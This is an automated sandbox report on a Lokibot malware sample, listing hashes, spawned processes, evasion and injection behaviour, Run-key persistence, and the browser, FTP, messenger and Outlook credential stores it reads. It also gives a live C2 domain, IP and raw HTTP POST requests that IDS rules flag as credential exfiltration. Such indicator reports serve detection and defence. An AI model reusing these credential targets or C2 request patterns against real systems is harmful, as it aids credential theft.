4Y1BfrNV

1
2* ID: 870
3* MalFamily: "Lokibot"
4
5* MalScore: 10.0
6
7* File Name: "Loki_a3b2bcb88650a5852ca8a0485391ce42.1"
8* File Size: 925696
9* File Type: "PE32 executable (GUI) Intel 80386, for MS Windows"
10* SHA256: "af04fe80f80a0b0495958377aa099019d46890dd5fc79a5ea33c87ece98e90cd"
11* MD5: "a3b2bcb88650a5852ca8a0485391ce42"
12* SHA1: "305af5c09f5a3add010e1ee82250d24d310d630c"
13* SHA512: "d6222fa1bb03acd96c2e1cc2b7c6e2ef7749bcdd43ff038e7b429c42a14010adc1a25f78ef643e8e3aa942d9bfe5b318770ab76c756a52ef997a8127c7d88598"
14* CRC32: "CDF8A7A3"
15* SSDEEP: "1536:xOXjYijDzy0bBZI3uMaDvBj5QIZv/uyrszBBYb4VCCVVUjMQvEq2cAGMOyn6gCDp:I3og55QKv9b4PoLvh2cQ27eruRYK"
16
17* Process Execution: 
18    "3nbzs9zJ.exe",
19    "wscript.exe",
20    "filename.exe",
21    "filename.exe",
22    "explorer.exe",
23    "services.exe",
24    "lsass.exe",
25    "taskhost.exe",
26    "WmiApSrv.exe",
27    "svchost.exe",
28    "WMIADAP.exe",
29    "WmiPrvSE.exe"
30
31
32* Executed Commands: 
33    "\"C:\\Windows\\System32\\WScript.exe\" \"C:\\Users\\user\\subfolder\\filename.vbs\"",
34    "C:\\Users\\user\\subfolder\\filename.vbs ",
35    "\"C:\\Users\\user\\subfolder\\filename.exe\"",
36    "C:\\Users\\user\\subfolder\\filename.exe ",
37    "C:\\Windows\\system32\\lsass.exe",
38    "C:\\Windows\\system32\\wbem\\WmiApSrv.exe",
39    "C:\\Windows\\system32\\svchost.exe -k netsvcs",
40    "\\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE wmiadap.exe /F /T /R"
41
42
43* Signatures Detected: 
44    
45        "Description": "Behavioural detection: Executable code extraction",
46        "Details": 
47    
48    
49        "Description": "SetUnhandledExceptionFilter detected (possible anti-debug)",
50        "Details": 
51    
52    
53        "Description": "Creates RWX memory",
54        "Details": 
55    
56    
57        "Description": "Possible date expiration check, exits too soon after checking local time",
58        "Details": 
59            
60                "process": "3nbzs9zJ.exe, PID 1964"
61            
62        
63    
64    
65        "Description": "Guard pages use detected - possible anti-debugging.",
66        "Details": 
67    
68    
69        "Description": "Detected script timer window indicative of sleep style evasion",
70        "Details": 
71            
72                "Window": "WSH-Timer"
73            
74        
75    
76    
77        "Description": "Reads data out of its own binary image",
78        "Details": 
79            
80                "self_read": "process: 3nbzs9zJ.exe, pid: 1964, offset: 0x00000000, length: 0x000e2000"
81            
82            
83                "self_read": "process: wscript.exe, pid: 2236, offset: 0x00000000, length: 0x00000040"
84            
85            
86                "self_read": "process: wscript.exe, pid: 2236, offset: 0x000000f0, length: 0x00000018"
87            
88            
89                "self_read": "process: wscript.exe, pid: 2236, offset: 0x000001e8, length: 0x00000078"
90            
91            
92                "self_read": "process: wscript.exe, pid: 2236, offset: 0x00018000, length: 0x00000020"
93            
94            
95                "self_read": "process: wscript.exe, pid: 2236, offset: 0x00018058, length: 0x00000018"
96            
97            
98                "self_read": "process: wscript.exe, pid: 2236, offset: 0x000181a8, length: 0x00000018"
99            
100            
101                "self_read": "process: wscript.exe, pid: 2236, offset: 0x00018470, length: 0x00000010"
102            
103            
104                "self_read": "process: wscript.exe, pid: 2236, offset: 0x00018640, length: 0x00000012"
105            
106        
107    
108    
109        "Description": "A process created a hidden window",
110        "Details": 
111            
112                "Process": "3nbzs9zJ.exe -> C:\\Users\\user\\subfolder\\filename.vbs"
113            
114            
115                "Process": "3nbzs9zJ.exe -> C:\\Users\\user\\subfolder\\filename.exe"
116            
117            
118                "Process": "svchost.exe -> \\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE"
119            
120        
121    
122    
123        "Description": "Drops a binary and executes it",
124        "Details": 
125            
126                "binary": "C:\\Users\\user\\subfolder\\filename.exe"
127            
128        
129    
130    
131        "Description": "HTTP traffic contains suspicious features which may be indicative of malware related traffic",
132        "Details": 
133            
134                "post_no_referer": "HTTP traffic contains a POST request with no referer header"
135            
136            
137                "http_version_old": "HTTP traffic uses version 1.0"
138            
139            
140                "suspicious_request_iocs": "http://jiraiya.info/joe23/five/fre.php"
141            
142        
143    
144    
145        "Description": "Performs some HTTP requests",
146        "Details": 
147            
148                "url_iocs": "http://jiraiya.info/joe23/five/fre.php"
149            
150        
151    
152    
153        "Description": "A scripting utility was executed",
154        "Details": 
155            
156                "command": "\"C:\\Windows\\System32\\WScript.exe\" \"C:\\Users\\user\\subfolder\\filename.vbs\""
157            
158        
159    
160    
161        "Description": "Behavioural detection: Injection (Process Hollowing)",
162        "Details": 
163            
164                "Injection": "filename.exe(788) -> filename.exe(2852)"
165            
166        
167    
168    
169        "Description": "Executed a process and injected code into it, probably while unpacking",
170        "Details": 
171            
172                "Injection": "filename.exe(788) -> filename.exe(2852)"
173            
174        
175    
176    
177        "Description": "Attempts to repeatedly call a single API many times in order to delay analysis time",
178        "Details": 
179            
180                "Spam": "services.exe (500) called API GetSystemTimeAsFileTime 14234466 times"
181            
182        
183    
184    
185        "Description": "Steals private information from local Internet browsers",
186        "Details": 
187            
188                "file": "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
189            
190        
191    
192    
193        "Description": "Installs itself for autorun at Windows startup",
194        "Details": 
195            
196                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Registry Key Name"
197            
198            
199                "data": "C:\\Users\\user\\subfolder\\filename.vbs -cz"
200            
201        
202    
203    
204        "Description": "Creates a hidden or system file",
205        "Details": 
206            
207                "file": "C:\\Users\\user\\AppData\\Roaming\\474604\\45B65D.exe"
208            
209        
210    
211    
212        "Description": "File has been identified by 17 Antiviruses on VirusTotal as malicious",
213        "Details": 
214            
215                "Malwarebytes": "Trojan.MalPack.VB.Generic"
216            
217            
218                "Invincea": "heuristic"
219            
220            
221                "F-Prot": "W32/VBKrypt.ZA.gen!Eldorado"
222            
223            
224                "Symantec": "ML.Attribute.HighConfidence"
225            
226            
227                "APEX": "Malicious"
228            
229            
230                "Paloalto": "generic.ml"
231            
232            
233                "Sophos": "Mal/FareitVB-N"
234            
235            
236                "FireEye": "Generic.mg.a3b2bcb88650a585"
237            
238            
239                "SentinelOne": "DFI - Suspicious PE"
240            
241            
242                "Cyren": "W32/VBKrypt.ZA.gen!Eldorado"
243            
244            
245                "Microsoft": "Trojan:Win32/Wacatac.B!ml"
246            
247            
248                "Endgame": "malicious (high confidence)"
249            
250            
251                "Acronis": "suspicious"
252            
253            
254                "Cylance": "Unsafe"
255            
256            
257                "ESET-NOD32": "a variant of Win32/Injector.EHNM"
258            
259            
260                "Fortinet": "W32/Injector.EHNM!tr"
261            
262            
263                "CrowdStrike": "win/malicious_confidence_70% (W)"
264            
265        
266    
267    
268        "Description": "Creates a copy of itself",
269        "Details": 
270            
271                "copy": "C:\\Users\\user\\subfolder\\filename.exe"
272            
273            
274                "copy": "C:\\Users\\user\\AppData\\Roaming\\474604\\45B65D.exe"
275            
276        
277    
278    
279        "Description": "Harvests credentials from local FTP client softwares",
280        "Details": 
281            
282                "file": "C:\\Users\\user\\AppData\\Roaming\\FileZilla\\sitemanager.xml"
283            
284            
285                "file": "C:\\Users\\user\\AppData\\Roaming\\FileZilla\\recentservers.xml"
286            
287            
288                "file": "C:\\Users\\user\\AppData\\Roaming\\Far Manager\\Profile\\PluginsData\\42E4AEB1-A230-44F4-B33C-F195BB654931.db"
289            
290            
291                "file": "C:\\Program Files (x86)\\FTPGetter\\Profile\\servers.xml"
292            
293            
294                "file": "C:\\Users\\user\\AppData\\Roaming\\FTPGetter\\servers.xml"
295            
296            
297                "file": "C:\\Users\\user\\AppData\\Roaming\\Estsoft\\ALFTP\\ESTdb2.dat"
298            
299            
300                "key": "HKEY_CURRENT_USER\\Software\\Far\\Plugins\\FTP\\Hosts"
301            
302            
303                "key": "HKEY_CURRENT_USER\\Software\\Far2\\Plugins\\FTP\\Hosts"
304            
305            
306                "key": "HKEY_CURRENT_USER\\Software\\Ghisler\\Total Commander"
307            
308            
309                "key": "HKEY_CURRENT_USER\\Software\\LinasFTP\\Site Manager"
310            
311        
312    
313    
314        "Description": "Harvests information related to installed instant messenger clients",
315        "Details": 
316            
317                "file": "C:\\Users\\user\\AppData\\Roaming\\.purple\\accounts.xml"
318            
319        
320    
321    
322        "Description": "Harvests information related to installed mail clients",
323        "Details": 
324            
325                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook"
326            
327            
328                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046\\Email"
329            
330            
331                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046"
332            
333            
334                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9234ed9445f8fa418a542f350f18f326"
335            
336            
337                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8408552e6dae7d45a0ba01520b6221ff\\Email"
338            
339            
340                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9234ed9445f8fa418a542f350f18f326\\Email"
341            
342            
343                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001"
344            
345            
346                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002"
347            
348            
349                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\Email"
350            
351            
352                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\c02ebc5353d9cd11975200aa004ae40e\\Email"
353            
354            
355                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8f92b60606058348930a96946cf329e1\\Email"
356            
357            
358                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8408552e6dae7d45a0ba01520b6221ff"
359            
360            
361                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2"
362            
363            
364                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\240a97d961ed46428e29a3f1f1c23670"
365            
366            
367                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\b22783abb139fe46b0aad551d64b60e7\\Email"
368            
369            
370                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\c02ebc5353d9cd11975200aa004ae40e"
371            
372            
373                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2\\Email"
374            
375            
376                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\Email"
377            
378            
379                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a\\Email"
380            
381            
382                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001\\Email"
383            
384            
385                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"
386            
387            
388                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\cb23f8734d88734ca66c47c4527fd259"
389            
390            
391                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001"
392            
393            
394                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook"
395            
396            
397                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\cb23f8734d88734ca66c47c4527fd259\\Email"
398            
399            
400                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook"
401            
402            
403                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\b22783abb139fe46b0aad551d64b60e7"
404            
405            
406                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\240a97d961ed46428e29a3f1f1c23670\\Email"
407            
408            
409                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604\\Email"
410            
411            
412                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\Email"
413            
414            
415                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a"
416            
417            
418                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046"
419            
420            
421                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604"
422            
423            
424                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8f92b60606058348930a96946cf329e1"
425            
426            
427                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046\\Email"
428            
429        
430    
431    
432        "Description": "Collects information to fingerprint the system",
433        "Details": 
434    
435    
436        "Description": "Created network traffic indicative of malicious activity",
437        "Details": 
438            
439                "signature": "ET TROJAN LokiBot User-Agent (Charon/Inferno)"
440            
441            
442                "signature": "ET TROJAN LokiBot Fake 404 Response"
443            
444            
445                "signature": "ET TROJAN LokiBot Request for C2 Commands Detected M1"
446            
447            
448                "signature": "ET TROJAN LokiBot Request for C2 Commands Detected M2"
449            
450            
451                "signature": "ET TROJAN LokiBot Checkin"
452            
453            
454                "signature": "ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1"
455            
456            
457                "signature": "ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2"
458            
459        
460    
461
462
463* Started Service: 
464    "VaultSvc",
465    "wmiApSrv"
466
467
468* Mutexes: 
469    "Local\\ZoneAttributeCacheCounterMutex",
470    "Local\\ZonesCacheCounterMutex",
471    "Local\\ZonesLockedCacheCounterMutex",
472    "6EFA73A4746045B65DEE781E",
473    "Global\\RefreshRA_Mutex_Lib",
474    "Global\\RefreshRA_Mutex",
475    "Global\\RefreshRA_Mutex_Flag",
476    "Global\\WmiApSrv",
477    "Global\\ADAP_WMI_ENTRY"
478
479
480* Modified Files: 
481    "C:\\Users\\user\\subfolder\\filename.exe",
482    "C:\\Users\\user\\subfolder\\filename.vbs",
483    "C:\\Users\\user\\AppData\\Roaming\\474604\\45B65D.lck",
484    "C:\\Users\\user\\AppData\\Roaming\\474604\\45B65D.exe",
485    "C:\\Windows\\sysnative\\LogFiles\\Scm\\5869f1c1-01d7-41f7-84b7-715672259fa8",
486    "\\??\\WMIDataDevice",
487    "\\??\\PIPE\\samr",
488    "C:\\Windows\\sysnative\\wbem\\repository\\WRITABLE.TST",
489    "C:\\Windows\\sysnative\\wbem\\repository\\MAPPING1.MAP",
490    "C:\\Windows\\sysnative\\wbem\\repository\\MAPPING2.MAP",
491    "C:\\Windows\\sysnative\\wbem\\repository\\MAPPING3.MAP",
492    "C:\\Windows\\sysnative\\wbem\\repository\\OBJECTS.DATA",
493    "C:\\Windows\\sysnative\\wbem\\repository\\INDEX.BTR",
494    "\\??\\pipe\\PIPE_EVENTROOT\\CIMV2PROVIDERSUBSYSTEM",
495    "\\??\\pipe\\PIPE_EVENTROOT\\CIMV2WMI SELF-INSTRUMENTATION EVENT PROVIDER"
496
497
498* Deleted Files: 
499    "C:\\Users\\user\\AppData\\Roaming\\474604\\45B65D.lck",
500    "C:\\Users\\user\\subfolder\\filename.exe"
501
502
503* Modified Registry Keys: 
504    "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\UNCAsIntranet",
505    "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\AutoDetect",
506    "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\CEBFF5CD-ACE2-4F4F-9178-9926F41749EA\\Count\\1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7\\pzq.rkr",
507    "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\CEBFF5CD-ACE2-4F4F-9178-9926F41749EA\\Count\\HRZR_PGYFRFFVBA",
508    "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Registry Key Name",
509    "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\wmiApSrv\\Type",
510    "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\Winmgmt\\Type",
511    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\PROVIDERS\\Performance\\Performance Refreshed",
512    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\ProcessID",
513    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\ThrottleDrege",
514    "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\Winmgmt\\Parameters\\ServiceDllUnloadOnStop",
515    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\LastServiceStart",
516    "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Wbem\\Transports\\Decoupled\\Server",
517    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\Transports\\Decoupled\\Server\\CreationTime",
518    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\Transports\\Decoupled\\Server\\MarshaledProxy",
519    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\Transports\\Decoupled\\Server\\ProcessIdentifier",
520    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\ConfigValueEssNeedsLoading",
521    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\List of event-active namespaces",
522    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\ESS\\//./root/CIMV2\\SCM Event Provider"
523
524
525* Deleted Registry Keys: 
526    "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProxyBypass",
527    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProxyBypass",
528    "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\IntranetName",
529    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\IntranetName"
530
531
532* DNS Communications: 
533    
534        "type": "A",
535        "request": "jiraiya.info",
536        "answers": 
537            
538                "data": "47.88.102.244",
539                "type": "A"
540            
541        
542    
543
544
545* Domains: 
546    
547        "ip": "47.88.102.244",
548        "domain": "jiraiya.info"
549    
550
551
552* Network Communication - ICMP: 
553
554* Network Communication - HTTP: 
555    
556        "count": 2,
557        "body": "",
558        "uri": "http://jiraiya.info/joe23/five/fre.php",
559        "user-agent": "Mozilla/4.08 (Charon; Inferno)",
560        "method": "POST",
561        "host": "jiraiya.info",
562        "version": "1.0",
563        "path": "/joe23/five/fre.php",
564        "data": "POST /joe23/five/fre.php HTTP/1.0\r\nUser-Agent: Mozilla/4.08 (Charon; Inferno)\r\nHost: jiraiya.info\r\nAccept: */*\r\nContent-Type: application/octet-stream\r\nContent-Encoding: binary\r\nContent-Key: C43E704C\r\nContent-Length: 176\r\nConnection: close\r\n\r\n",
565        "port": 80
566    
567    
568        "count": 32,
569        "body": "",
570        "uri": "http://jiraiya.info/joe23/five/fre.php",
571        "user-agent": "Mozilla/4.08 (Charon; Inferno)",
572        "method": "POST",
573        "host": "jiraiya.info",
574        "version": "1.0",
575        "path": "/joe23/five/fre.php",
576        "data": "POST /joe23/five/fre.php HTTP/1.0\r\nUser-Agent: Mozilla/4.08 (Charon; Inferno)\r\nHost: jiraiya.info\r\nAccept: */*\r\nContent-Type: application/octet-stream\r\nContent-Encoding: binary\r\nContent-Key: C43E704C\r\nContent-Length: 149\r\nConnection: close\r\n\r\n",
577        "port": 80
578    
579
580
581* Network Communication - SMTP: 
582
583* Network Communication - Hosts: 
584    
585        "country_name": "United States",
586        "ip": "47.88.102.244",
587        "inaddrarpa": "",
588        "hostname": "jiraiya.info"
589    
590
591
592* Network Communication - IRC: